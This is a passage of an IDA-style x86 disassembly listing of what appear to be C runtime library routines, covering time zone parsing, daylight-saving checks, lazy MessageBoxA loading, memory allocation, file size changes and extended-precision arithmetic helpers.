		imul	esi, 3Ch
		add	eax, esi
		mov	dword_442558, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4E0DFA, bp
		jz	short loc_424887
		mov	eax, dword_4E0E08
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_44255C, edx
		imul	eax, 3Ch
		mov	dword_442560, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_44255C, ebp
		mov	dword_442560, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4425E4
		push	ebx
		push	offset dword_4E0D64
		push	edi
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_4425E4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_4425E4
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4425E8
		push	ebx
		push	offset dword_4E0DB8
		push	edi
		push	dword_4E0BF4
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_4425E8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4E0E0C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4E0E0C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4E0E0C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_4425E4
		call	sub_41B5F0
		mov	eax, off_4425E4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_442558, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_442558
		add	ecx, eax
		mov	dword_442558, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_442558
		add	ecx, eax
		mov	dword_442558, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_442558, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_44255C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_4425E8
		call	sub_41B5F0
		mov	eax, off_4425E8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_4425E8
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_44255C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4425F0
		jnz	short loc_424A7C
		cmp	eax, dword_442600
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4E0D58, edi
		jz	loc_424B54
		movzx	ecx, word_4E0E06
		push	ecx
		cmp	word_4E0DF8, di
		movzx	ecx, word_4E0E04
		push	ecx
		movzx	ecx, word_4E0E02
		push	ecx
		movzx	ecx, word_4E0E00
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4E0DFC
		push	edi
		push	ecx
		movzx	ecx, word_4E0DFE
		push	ecx
		movzx	ecx, word_4E0DFA
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4E0DFE
		push	ecx
		push	edi
		movzx	ecx, word_4E0DFA
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4E0DB2
		add	esp, 2Ch
		cmp	word_4E0DA4, di
		push	eax
		movzx	eax, word_4E0DB0
		push	eax
		movzx	eax, word_4E0DAE
		push	eax
		movzx	eax, word_4E0DAC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4E0DA8
		push	edi
		push	eax
		movzx	eax, word_4E0DAA
		push	eax
		movzx	eax, word_4E0DA6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4E0DAA
		push	eax
		push	edi
		movzx	eax, word_4E0DA6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_4425F4
		mov	eax, dword_442604
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_4425F8
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_442608
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_442608[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_44263C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_44260C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_442640[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_442608[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_44263C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_4425F4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4425F0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4425F8, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_442604, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_442560
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_442608, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_442608, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_442608, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_442604, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_442600, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4E20A1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_441BB2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4E0E14, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26C0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4E0E14, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4E0E18, eax
		call	esi
		mov	dword_4E0E1C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4E0E18
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4E0E1C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4E0E14


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4E21C8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4E21C0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_441BA4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4E21C4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4E0BAC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4E1E60, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4E0E48
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4E0E48
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4E0E48
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4E1E60
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4E1F80
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1E80[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4E0B2C, 5
		jnz	short loc_424FDC
		mov	dword_4E0B28, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4E0B28, 0Dh
		nop
		call	near ptr 2690A97h
		mov	dword_4E0B2C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4E0B28, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax


loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi


loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------


loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h


loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------


loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

